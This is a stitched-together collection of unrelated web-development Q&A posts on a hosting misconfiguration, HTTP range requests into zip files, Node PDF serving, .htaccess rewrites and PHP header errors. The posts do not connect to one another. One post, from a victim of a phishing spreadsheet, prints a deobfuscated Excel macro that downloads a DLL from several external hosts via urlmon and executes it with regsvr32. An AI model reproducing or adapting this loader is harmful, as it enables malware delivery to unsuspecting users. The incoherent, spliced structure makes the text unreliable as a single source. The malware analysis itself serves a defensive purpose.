Directory contains about a dozen html files. Index.html contains links to all the others.
Same directory contains hundreds of Word files. HTML files contain links to the Word files.
All links are relative, i.e., no protocol, no host, no path, and no slash.
Click on a link to an HTML file, it works. Click on a link to a word doc, browser says it can't be found. To get more precise on the error, I used wget
Oversimplified version:
wget "http://Lang-Learn.us/RTR/Immigration.html"
gives me the file I asked for, but
wget "http://Lang-Learn.us/RTR/Al otro lado.doc"
tells me that Lang-Learn.us doesn't exist (400)
Same results if I use "lang-learn.us" instead. I did verify correct casing on the filenames themselves, and also tried escaping the spaces with %20 (didn't help, not that I expected it to after the host name message).
The actual session:
MBP:~ wgroleau$ wget "http://Lang-Learn.us/RTR/Immigration.html"
--2011-03-09 00:39:51-- http://lang-learn.us/RTR/Immigration.html
Resolving lang-learn.us... 208.109.14.87
Connecting to lang-learn.us|208.109.14.87|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `Immigration.html.2'
[ <=>
] 5,973 --.-K/s in 0s
2011-03-09 00:39:51 (190 MB/s) - `Immigration.html.2' saved [5973]
MBP:~ wgroleau$ wget "http://Lang-Learn.us/RTR/Al otro lado.doc"
--2011-03-09 00:40:11-- http://lang-learn.us/RTR/Al%20otro%20lado.doc
Resolving lang-learn.us... 208.109.14.87
Connecting to lang-learn.us|208.109.14.87|:80... connected.
HTTP request sent, awaiting response... 400 No Host matches server name lang-learn.us
2011-03-09 00:40:11 ERROR 400: No Host matches server name lang-learn.us.
The error looks like an issue with redirection or domain mapping,
but how could that be turned on or off by the file extension?
The hosting provider at first tried to tell me I don't know how to write HTML, but when I mentioned I've been in software for thirty years and web work for several, he put me on hold to find someone that actually knows something. Eventually they came back and said it's MY fault for not having the correct stuff in .htaccess
Setting aside the obvious retort about it being the hosting provider's job to put the correct stuff in httpd.conf, I made a couple of attempts. But 99% of my web work has been content in HTML/PHP/perl and I know nearly nothing about .htaccess
The following two attempts did NOT work:
AddType application/msword .doc
AddType application/octet-stream .doc
UPDATE: By using
<FilesMatch "\.html$">
ForceType application/octet-stream
</FilesMatch>
I verified that the server does allow .htaccess, but using .doc instead of HTML still gets that idiotic "ERROR 400: No Host matches server name lang-learn.us"
Finally, after hours with more than one "tech supporter," I got them to admit that they had made a configuration error. Besides telling me to use .htaccess, they had an earlier suggestion that I ask the client to convert his hundreds of Word files into HTML pages.
Since the provider is the one that screwed up, there technically is no answer to the question of what can I do to fix it.
Related
Is it possible to download a file nested in a zip file, without downloading the entire zip archive?
For example from a url that could look like:
https://www.any.com/zipfile.zip?dir1\dir2\ZippedFileName.txt
Depending on if you are asking whether there is a simple way of implementing this on the server-side or a way of using standard protocols so you can do it from the client-side, there are different answers:
Doing it with the server's intentional support
Optimally, you implement a handler on the server that accepts a query string to any file download similar to your suggestion (I would however include a variable name, example: ?download_partial=dir1/dir2/file
). Then the server can just extract the file from the ZIP archive and serve just that (maybe via a compressed stream if the file is large).
If this is the path you are going and you update the question with the technology used on the server, someone may be able to answer with suggested code.
But on with the slightly more fun way...
Doing it opportunistically if the server cooperates a little
There are two things that conspire to make this a bit feasible, but only worth it if the ZIP file is massive in comparison to the file you want from it.
ZIP files have a directory that says where in the archive each file is. This directory is present at the end of the archive.
HTTP servers optionally allow download of only a range of a response.
So, if we issue a HEAD request for the URL of the ZIP file: HEAD /path/file.zip we may get back a header Accept-Ranges: bytes and a header Content-Length that tells us the length of the ZIP file. If we have those then we can issue a GET request with the header (for example) Range: bytes=1000000-1024000 which would give us part of the file.
The directory of files is towards the end of the archive, so if we request a reasonable block from the end of the file then we will likely get the central directory included. We then look up the file we want, and know where it is located in the large ZIP file.
We can then request just that range from the server, and decompress the result...
To cut a long story short, I got duped: I opened a malicious Excel file and ran the macro.
After digging through the guts of the Excel file, the payload was highly obfuscated but I managed to piece it together:
=CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://onlinebrandedcontent.com/XXXXXX/","..\enu.ocx",0,0)
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://onlinebrandedcontent.com/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"https://onlyfansgo.com/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://www.marcoantonioguerrerafitness.com/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://acceptanceh.us/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://gloselweb.com/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CLOSE(0),)
=EXEC("C:\Windows\SysWow64\r"&"eg"&"sv"&"r32.exe /s ..\enu.ocx")
=RETURN()
Note: actual full URLs above redacted to avoid accidental exposure by anyone reading this.
When accessed, the malicious URLs contain the following contents:
onlinebrandedcontent: Standard Apache file index page with no contents
onlyfansgo: Boilerplate hosting provider "Account Suspended" page with no inclusions or Javascript.
marcoantonioguerrerafitness / acceptanceh / gloselweb: Triggers download of a (presumably malicious) DLL file
It appears the code above only got as far as the onlyfansgo URL (enu.ocx on my machine contains the harmless HTML "Account Suspended" markup with a reference to webmaster#onlyfansgo.com), so it looks like I dodged a bullet (regsvr32.exe would have attempted to register a HTML file and failed).
My question: Why did the payload pull the onlyfansgo URL response but stop there? If it was willing to accept a HTML file as a successful download, why did it not stop at onlinebrandedcontent? Is it something to do with the fact that onlyfansgo is the only HTTPS URL in the list?
I have a node app (specifically sails app) that is serving pdf file. My code for serving file looks like this.
request.get(pdfUrl).pipe(res)
And when I view the url for pdf, it renders the pdf fine. But sometimes, it just renders the binary data of pdf on browser like given below.
%PDF-1.4 1 0 obj << /Title (��) /Creator (��wkhtmltopdf
I am not able to figure out why is it failing to serve the pdf correctly just randomly. Is it chrome thing? or Am I missing something?
Leaving this here in the hope that it helps somebody - I have had similar issues multiple times and its either of two things:
You're using an HTTP connection to an HTTPS delivery (this is typical with websockets, where you must specify :443 in addition to the wss.
request's encoding parameter is serving plaintext instead of objects. This is done by setting encoding to null as follows: request({url: myUrl, encoding: null}).
Content types in headers - steering clear of this since it's obvious/others have covered this substantially enough already :)
I am pretty sure you're facing this due to (2). Have a look at https://github.com/request/request
encoding - Encoding to be used on setEncoding of response data. If
null, the body is returned as a Buffer. Anything else (including the
default value of undefined) will be passed as the encoding parameter
to toString() (meaning this is effectively utf8 by default). (Note: if
you expect binary data, you should set encoding: null.)
Since, the aforementioned suggestions didn't work for you, would like to see forensics from the following:
Are files that fail over a particular size? Is this a buffer issue at some level?
Does the presence of a certain character in the file cause this because it breaks some of your script?
Are the meta-data sections and file-endings the same across a failed and a successful file? How any media file is signed up-top, and how it's truncated down-bottom, can greatly impact how it is interpreted
You may need to include the content type header application/pdf in the node response to tell the recipient that what they're receiving is a PDF. Some browsers are smart enough to determine the content type from the data stream, but you can't assume that's always the case.
When Chrome downloads the PDF as text I would check the very end of the file. The PDF file contains the obligatory xref table at the end. So every valid PDF file should end with the following sequence: %EOF. If not then the request was interrupted or something gone wrong.
You also need HTTP header:
Content-Disposition:inline; filename=sample.pdf;
And
Content-Length: 200
Did you try to save what ever binary stuff you get on disk and open it manually by PDF reader? It could be corrupt.
I would suggest trying both of these:
Content-Type: application/pdf
Content-Disposition: attachment; filename="somefilename.pdf"
(or controlling Mime Type in other ways: https://www.npmjs.com/package/mime-types)
I started a new site. In my .htaccess file I thought it would be a simple matter of taking any request that didn't explicitly have a file extension in the request and rewrite to a specific file. So, for example, if the request was:
http://whatever.com/styles.css
or
http://whatever.com/funnyCats.gif
or
http://whatever.com/index.htm
...the rewrite would not apply. However, if I had a request like:
http://whatever.com/funnyCats (anything without a '.')
... I'd reroute to a special handler file. I thought that should be a simple matter of:
RewriteEngine on
# anything without a period in it is not rewritten; got a period? done as is
RewriteRule ^/[^\.]*$ dynamicActionTimeByJerryBruckheimer.php?action=$1 [I]
However, while requests with '.' are served, as expected, dynamicActionTimeByJerryBruckheimer.php is never called when '/funnyCats', 'lolololol', or anything else is requested. I get the generic IIS 404 error.
What am I doing wrong?
I building my sites on the localhost (runs wamp on windows), and when I upload it to my server, I always get
"Cannot modify header information - headers already sent"
I understand that there shouldn't be any blank lines and everyhing, and usually this works out. but now I need to redirect someone after the header has been sent, how can I make my server act like my localhost ?
i'm using cpanel and WHM:
cPanel 11.25.0-R42399 - WHM 11.25.0 - X 3.9
CENTOS 5.4 x86_64 virtuozzo on vps
I will appreciate any help
In short, you need to prevent PHP from outputting anything to the browser before you get to the point where you want to use the header() function.
This should be done by careful programming practices, of which your 'no blank lines' is one, or by storing PHP's output in an output buffer, and only outputting when you're ready for it.
See the ob_start() and ob_flush() methods. You use ob_start() at the start of your application. This disables output and stores it into a buffer. When you're ready to start outputting, use ob_flush() and PHP will send the buffer's contents to the browser, including the headers that are set till that point. If you don't call ob_flush() then the buffer is output (flushed) at the end of the script.
The reason why it works on your WAMP development environment is most likely that output buffering is already enable by default in the php.ini. Quite often these all-in-one packages enable a default buffer for the first 4k bytes or so. However, it is generally better to explicitly start and flush the buffer in your code, since that forces better coding practices.
Well,
I guess by more thinking and better programing you can manage to keep all redirects before any HTML is written.
This problem solved by the old rules...
#user31279: The quickest and dirtiest way I know of is to use # to suppress the warning, so e.g.
#header('Location: some-other-page.php');